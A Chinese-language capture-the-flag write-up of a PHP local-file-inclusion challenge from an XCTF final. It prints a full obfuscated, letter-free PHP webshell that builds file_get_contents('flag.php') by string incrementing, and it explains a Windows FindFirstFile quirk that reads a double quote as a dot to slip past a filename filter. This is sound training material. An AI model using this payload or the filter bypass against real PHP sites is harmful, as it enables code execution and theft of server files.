记录一次XCTF final的题目代码审计
这里我们得到源码,直接贴出来开始审计吧;令人恶心的是这里有很多和题目无关的代码,而我刚开始没发现,直接审计,耗费了很多时间;真的吐了;;;;
这里先看Get类;直奔主题看,这里有个include方法,是包含我们的文件,但是在包含之前做了很多的东西;来看看;
path_sanitizer方法,追溯看看定义;
我们看到是文件名的问题,文件名过滤了很多的内容;不能出现'.', './', '~', '.\\', '#', '<', '>'
这些个字符;
然后再看看源码,有个put类,
想来就是写入文件了;这里题目名字是LFI就是let file include;那么我们想法就有了,写入一个webshell,然后包含,执行就ok;那么就将关注点放在了put类上;
这里看到在写入文件之前也是经历了很多的流程;构造函数给filename,data进行赋值;然后我们传入的内容经过了code_sanitizer方法,这里我们追溯看看其作用;
看到其对内容经过了严格的过滤,不能出现字母和数字;那么这里自然想到了p神的无字母和数字的shell;这个题要想做出来还有一个小坑,因为我们刚刚进入题目就发现了phpinfo;是基于windows的; windows下使用FindFirstFile这个API(执行include,file_get_contents)时,有一个trick:会把双引号字符"
解释为点字符;因为这道题目是包含的问题;所以我们直接传入文件test。然后写入我们的木马,然后去到include去包含就好,这里我们修改p神的无数字和字母的webshell即可,利用自增读取flag.php 这里不能有字母,所以使用短标签绕过,我印象里短标签好像在5.4之后是默认开启的,这里显然是要使用了,我们写入如下的webshell;
=$_=[];$_="$_";$_=$_[("!"=="!")+("!"=="!")+("!"=="!")];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$_;$___++;$___++;$___++;$___++;$____=$_;$_____=$_;$_____++;$_____++;$_____++;$______=$_;$______++;$______++;$______++;$______++;$______++;$__=$__.$___.$____.$_____.$______;$___=$_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$__=$__.$___.$____.$_____;$___=$_;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$______=$_;$______++;$______++;$______++;$______++;$______++;$______++;$___=$___.$____.$_____.$______;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$___=$___.'.'.$____.$_____.$____;$__($___);?>
这里我们已经自增加入了 file_get_contents('flag.php');所以直接包含就好;因为代码里不能出现字母,所以也是无法进行shell的输入执行的,只可以直接包含执行;
流程
写入木马和我们的文件名test;
然后去到包含目录,直接包含得到flag;因为我们是直接包含,所以无所为后缀的问题,直接会执行;
我们再看看源码;探究为什么要写入"/test
主要的原因还是在此;
看到源码这里是包含的路径 因为之前已经说过windows下 findfirstfile的API会将"当作'.' 来使用;所以这里路径就成了./files/./test
这里显然是包含了我们files当前目录下的一个文件,也就是我们的木马;然而我们再来看看源码;发现我们的默认的路径就是files下,我们又没有利用pop链修改其路径;所以这里就是会直接写入到我们的默认路径下,然后包含我们的默认路径;其实这里就一个点,就是windows下使用findfirstfile这个API的时候会将" 作为 '.'来使用,就导致我们写入包含路径成功;